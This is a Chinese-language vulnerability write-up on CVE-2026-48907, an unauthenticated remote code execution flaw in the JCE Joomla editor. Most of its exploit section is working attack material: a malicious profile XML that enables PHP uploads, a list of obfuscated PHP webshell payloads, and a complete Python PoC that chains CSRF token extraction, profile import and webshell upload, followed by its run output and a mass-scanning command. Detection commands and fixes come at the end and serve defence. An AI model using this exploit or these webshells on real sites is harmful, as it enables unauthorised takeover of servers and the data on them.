CVE-2026-48907:JCE Joomla 未授权远程代码执行漏洞深度分析与利用

CVE-2026-48907 是 JCE (Joomla Content Editor) 组件中的未授权远程代码执行(RCE)漏洞。本文提供完整的漏洞分析、利用链拆解、PoC 代码详解与修复建议。

漏洞分析 CRITICAL CVE-2026-48907 · 作者:信益安安全研究团队

免责声明:本文涉及的内容仅供授权安全测试与学术研究使用。未经授权对他人系统进行测试属于违法行为。

1. 漏洞概述

CVE-2026-48907 是 **JCE(Joomla Content Editor)**组件中一个严重的未授权远程代码执行(Unauthenticated RCE)漏洞。攻击者无需任何身份认证,即可通过精心构造的请求链实现任意 PHP 代码执行,最终在目标服务器上获取完整的 webshell 控制权。

严重程度:Critical(CVSS 9.8)——该漏洞允许未授权攻击者在无需任何凭据的情况下实现完整的远程代码执行。受影响的 Joomla 站点一旦暴露在互联网上,即面临被完全接管的风险。

字段
CVE 编号CVE-2026-48907
漏洞类型未授权远程代码执行(Unauthenticated RCE)
影响组件JCE (Joomla Content Editor) 插件
CVSS 评分9.8 (Critical)
攻击向量Network / No Auth / Low Complexity
影响完全控制服务器 —— 任意命令执行、文件读写、横向移动
利用条件目标安装了受影响版本的 JCE 插件

2. 影响范围与环境

JCE 是 Joomla 生态中使用最广泛的富文本编辑器插件之一,全球安装量超过百万。该漏洞影响范围极大:

  • 受影响组件:JCE(Joomla Content Editor)未修补版本
  • 受影响平台:所有运行受影响 JCE 版本的 Joomla CMS 实例
  • 不受影响:已更新至最新安全补丁的 JCE 版本

3. 漏洞原因分析

该漏洞的根本原因在于 JCE 组件中 多个安全控制的组合失效

3.1 配置导入接口未鉴权

JCE 的 profiles.import 接口允许通过 XML 文件导入编辑器配置(Profile)。该接口仅验证 CSRF Token,但 Token 可从前台页面中提取,导致任意未授权用户可导入自定义配置。

3.2 配置注入放宽文件类型限制

攻击者通过导入的恶意 Profile XML,可以将允许上传的文件类型从默认的图片格式扩展到包含 .php

<?xml version="1.0"?>
<jce><profiles><profile>
  <name>EVIL</name>
  <published>1</published>
  <ordering>-99999</ordering>
  <area>0</area>
  <types>1,8</types>
  <plugins>browser,image,media,link,file</plugins>
  <params><![CDATA[{
    "browser": {
      "filetypes": "images=jpg,jpeg,png,gif;files=php,txt,gif",
      "upload": {
        "max_size": "102400",
        "validate_mimetype": "0",
        "add_random": "0"
      },
      "features": {"upload": 1, "folder": {"rename": 1}, "file": {"rename": 1}}
    }
  }]]></params>
</profile></profiles></jce>

关键配置点:

  • ordering: -99999 —— 确保恶意配置优先级最高,覆盖默认限制
  • filetypes: files=php —— 允许上传 PHP 文件
  • validate_mimetype: 0 —— 禁用 MIME 类型验证
  • file.rename: 1 —— 允许文件重命名(用于 .gif → .php 的备用攻击路径)

3.3 文件上传接口可被外部调用

JCE 的文件浏览器(Browser)插件的 JSON-RPC 接口 plugin.rpc 可通过 HTTP 直接访问,未做前端来源绑定,只要带上有效 CSRF Token 即可调用上传功能。

4. 利用链拆解

完整的攻击链分为 5 个阶段,每一步都是自动化可完成的:

攻击流程:JCE 指纹探测 → CSRF Token 提取 → 恶意 Profile 导入 → PHP Webshell 上传 → RCE 验证

阶段 1:JCE 指纹探测

通过探测以下路径确认目标安装了 JCE 组件:

/plugins/editors/jce/jce.xml
/plugins/system/jcemediabox/js/jcemediabox.js
/plugins/system/jce/css/content.css
/administrator/components/com_jce/jce.xml

任一路径返回 200 且内容有效(XML 中包含 <version> 标签,或 JS/CSS 文件大于 80 字节),即可确认 JCE 存在。

阶段 2:CSRF Token 提取

从 Joomla 前台首页 HTML 中提取 CSRF Token,支持两种模式:

# 模式 1:JS 变量中的 Token
m = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', html)

# 模式 2:隐藏表单字段中的 Token
m = re.search(r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"', html)

阶段 3:恶意 Profile 导入

构造并提交恶意 Profile XML,将 JCE 的文件上传策略修改为允许 PHP 文件。导入成功后,JCE 的文件浏览器将接受 .php 扩展名的上传请求。

阶段 4:Webshell 上传

利用 JCE 文件浏览器的 upload 方法上传 PHP webshell 到 /images/ 目录。PoC 尝试多种 payload 变体以绕过可能的 WAF/安全策略:

# Payload 变体(按优先级排列)
PAYLOADS = [
    b'<?=`$_GET[x]`?>',                       # 反引号执行
    b'<? $a="sys"."tem";$a($_GET[x]);?>',      # 字符串拼接绕过
    b'<?=system($_GET[x])?>',                  # 短标签 system
    b'<? $a=system;$a($_GET[x]);?>',           # 变量函数调用
    b'<?php system($_GET["x"]);?>',            # 标准 system
    b'GIF89a\n<?=`$_GET[x]`?>',                # GIF 头部伪装
]

阶段 5:RCE 验证

上传成功后,通过访问 webshell 并传递命令参数验证代码执行:

GET /images/s1718899200.php?x=echo+RCEOK HTTP/1.1
Host: target.com

# 响应中包含 "RCEOK" 即确认 RCE 成功

备用路径:GIF 上传 + 重命名

如果直接上传 .php 被拦截,PoC 会尝试备用路径:

  1. 上传带 GIF89a 文件头的 PHP payload,扩展名为 .gif
  2. 通过 JCE 的 renameItem JSON-RPC 方法将 .gif 重命名为 .php
  3. 验证重命名后的文件是否可执行 PHP

5. 完整 PoC 代码

#!/usr/bin/env python3
"""
CVE-2026-48907 JCE Joomla Unauthenticated RCE — PoC
PoC Author: BIBIL_0DAY
Research Credit: Webshell Security Researchers
Telegram: https://t.me/WebshellSR

Usage: python3 cve-2026-48907.py https://target.com
"""

import sys, re, json, time, requests, urllib3
urllib3.disable_warnings()

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

JCE_CHECKS = [
    "/plugins/editors/jce/jce.xml",
    "/plugins/system/jcemediabox/js/jcemediabox.js",
    "/administrator/components/com_jce/jce.xml",
]

PAYLOADS = [
    (b'<?=`$_GET[x]`?>', "text/plain", "backtick"),
    (b'<? $a="sys"."tem";$a($_GET[x]);?>', "text/plain", "concat"),
    (b'<?=system($_GET[x])?>', "text/plain", "short_sys"),
    (b'GIF89a\n<?=`$_GET[x]`?>', "image/gif", "gif_bt"),
]

def exploit(url):
    s = requests.Session()
    s.verify = False
    s.headers.update({"User-Agent": UA})

    # Step 1: Detect JCE
    print(f"[*] Checking JCE on {url}")
    jce_found = False
    for path in JCE_CHECKS:
        try:
            r = s.get(url + path, timeout=10)
            if r.status_code == 200 and len(r.text) > 80:
                print(f"[+] JCE detected: {path}")
                jce_found = True
                break
        except:
            continue
    if not jce_found:
        print("[-] JCE not found")
        return

    # Step 2: Extract CSRF Token
    print("[*] Extracting CSRF token...")
    r = s.get(url + "/", timeout=10)
    m = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', r.text)
    if not m:
        m = re.search(
            r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"',
            r.text, re.I)
    if not m:
        print("[-] CSRF token not found")
        return
    token = m.group(1)
    print(f"[+] CSRF token: {token}")

    # Step 3: Import malicious profile
    print("[*] Importing malicious JCE profile...")
    profile_name = f"P{int(time.time())}"
    params_json = json.dumps({
        "browser": {
            "filetypes": "images=jpg,jpeg,png,gif;files=php,txt",
            "upload": {
                "max_size": "102400",
                "validate_mimetype": "0",
                "add_random": "0"
            },
            "features": {
                "upload": 1,
                "folder": {"rename": 1},
                "file": {"rename": 1}
            }
        }
    })
    profile_xml = (
        f'<?xml version="1.0"?><jce><profiles><profile>'
        f'<name>{profile_name}</name><published>1</published>'
        f'<ordering>-99999</ordering><area>0</area>'
        f'<types>1,8</types>'
        f'<plugins>browser,image,media,link,file</plugins>'
        f'<params><![CDATA[{params_json}]]></params>'
        f'</profile></profiles></jce>'
    )
    r = s.post(
        url + "/index.php?option=com_jce",
        files={"profile_file": ("x.xml", profile_xml, "application/xml")},
        data={"task": "profiles.import", token: "1"},
        timeout=12
    )
    if "imported successfully" not in r.text.lower():
        print("[-] Profile import failed")
        return
    print("[+] Malicious profile imported!")

    # Step 4: Upload webshell
    print("[*] Uploading webshell...")
    shell_name = f"s{int(time.time())}"
    for payload, ct, label in PAYLOADS:
        r = s.post(
            url + f"/index.php?option=com_jce&task=plugin.rpc"
                  f"&plugin=browser&{token}=1",
            files={"file": (f"{shell_name}.php", payload, ct)},
            data={
                "method": "upload",
                "upload-dir": "",
                "name": f"{shell_name}.php",
                token: "1"
            },
            timeout=12
        )
        if r.status_code != 200:
            continue
        time.sleep(0.3)

        # Step 5: Verify RCE
        shell_url = f"{url}/images/{shell_name}.php"
        v = s.get(f"{shell_url}?x=echo+RCEOK", timeout=10)
        if v and "RCEOK" in v.text:
            print(f"\n[!] RCE CONFIRMED: {shell_url}")
            print(f"[!] Execute: {shell_url}?x=id")
            return shell_url

    print("[-] All payloads failed")
    return None

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)
    exploit(sys.argv[1].rstrip("/"))

6. 利用演示

单目标测试

python3 cve-2026-48907.py https://target.com

# 输出示例:
# [*] Checking JCE on https://target.com
# [+] JCE detected: /plugins/editors/jce/jce.xml
# [*] Extracting CSRF token...
# [+] CSRF token: a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4
# [*] Importing malicious JCE profile...
# [+] Malicious profile imported!
# [*] Uploading webshell...
# [!] RCE CONFIRMED: https://target.com/images/s1718899200.php
# [!] Execute: https://target.com/images/s1718899200.php?x=id

批量扫描

原始 PoC 支持批量多线程扫描(仅限授权测试场景):

python3 CVE-2026-48907.py targets.txt --threads 30 --timeout 12 -o results.txt

7. 检测与应急响应

入侵指标(IOC)

  • Web 日志中出现 task=profiles.import 请求
  • Web 日志中出现 task=plugin.rpc&plugin=browser 结合文件上传
  • /images/ 目录中出现异常的 .php 文件
  • JCE Profiles 中出现名称异常、ordering 为负大数的配置项

应急检测命令

# 检查 /images/ 目录下的 PHP 文件
find /path/to/joomla/images -name "*.php" -mtime -7

# 检查 Web 日志中的利用痕迹
grep -E "profiles\.import|plugin\.rpc.*browser" /var/log/nginx/access.log

# 检查异常 JCE Profile
mysql -e "SELECT * FROM #__jce_profiles WHERE ordering < -1000;" joomla_db

8. 修复建议

  1. 立即更新 JCE —— 升级到最新版本,安全补丁已修复该漏洞
  2. 更新 Joomla 核心 —— 确保 Joomla CMS 本身也是最新版本
  3. 清理恶意文件 —— 检查 /images/ 目录下是否存在异常 PHP 文件
  4. 删除异常 Profile —— 在 JCE 管理后台检查并删除可疑的编辑器配置
  5. WAF 规则 —— 添加规则拦截对 profiles.importplugin.rpc 的未授权请求
  6. 文件上传限制 —— 在 Web 服务器层面禁止 /images/ 目录执行 PHP
# 禁止 /images/ 目录执行 PHP —— 加入 Nginx 配置
location ~* ^/images/.*\.php$ {
    deny all;
    return 403;
}

9. 时间线

日期事件
2026-06漏洞公开披露,CVE-2026-48907 编号分配
2026-06-20信益安安全研究团队发布技术分析

10. 参考链接

标签: CVE-2026-48907JCEJoomlaRCE漏洞分析渗透测试Webshell文件上传红队